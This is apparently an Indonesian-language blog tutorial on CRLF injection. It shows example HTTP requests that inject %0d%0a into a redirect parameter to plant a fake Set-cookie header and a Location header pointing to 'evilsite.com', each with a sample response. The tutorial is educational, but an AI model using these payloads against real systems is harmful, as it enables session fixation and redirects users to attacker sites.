CRLF memiliki kepanjangan dari Carriage Return (ASCII 13, \r) dan Line Feed (ASCII 10, \n). Carriage Return yang berarti akhir dari baris dan Line Feed adalah baris yang baru. Dan intinya, CRLF Injection adalah sebuah serangan injeksi yang dapat memasukan garis baru pada sebuah konten di-website.

Impact dari CRLF ini tergantung skenario penyerangan yang kita buat. Dari CRLF Injection kita bisa menyisipkan script yang berbahaya atau yang biasa dikenal dengan XSS. Dari CRLF juga bisa membuat Cookie palsu dengan memanfaatkan header “Set-cookie”, dan masih banyak lagi yang bisa dilakukan.

Skenario-skenario penyerangan

  • Memasang cookie palsu

Dengan CRLF Injection kita bisa membuat fake cookie dengan memanfaatkan header “Set-cookie”

GET /redir.php?url=hola HTTP/1.1
Host: example.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36
Connection: close

Kemudian kita tambahkan %0d%0a yang berarti %0d = \r dan %0a = \n dan tambahkan Set-cookie: xxxx, seperti contoh dibawah

GET /redir.php?url=hola%0d%0aSet-cookie:%20xxxxxx  HTTP/1.1
Host: example.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36
Connection: close

Maka nanti response nya adalah

HTTP/1.1 302 Object moved
Date: Mon, 8 Dec 2019 12:12:12 GMT
Connection:close
Location: redir.php?url=hola
Set-cookie: xxxxx
.......
  • Memanipulasi Header dengan CRLF

Penyerang juga bisa melakukan open redirect, contoh sebagai berikut:

GET /redir.php?url=%0D%0ALocation: https://evilsite.com%0D%0A HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:6.0) Gecko/20100101 Firefox/6.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate[CRLF]
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: keep-alive

Dengan request seperti itu, maka responsenya yang dari 200 menjadi 300/301/302

HTTP/1.1 302 Found
Date: Tue, 23 Aug 2011 18:34:36 GMT
Server: Apache/1.3.33 (Win32) PHP/5.0.2
X-Powered-By: PHP/5.0.2
Location: https://evilsite.com
Keep-Alive: timeout=15, max=99
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html
  • XSS dengan CRLF

Response menunjukkan bahwa situs yang asli akan diarahkan ke situs yang palsu yang dibuat dan, JavaScript yang disuntikkan juga akan diproses oleh server tanpa validasi dan dijalankan seperti yang ditunjukkan pada response di atas.

Sekian Post kali ini, Terima kasih telah berkunjung 🙂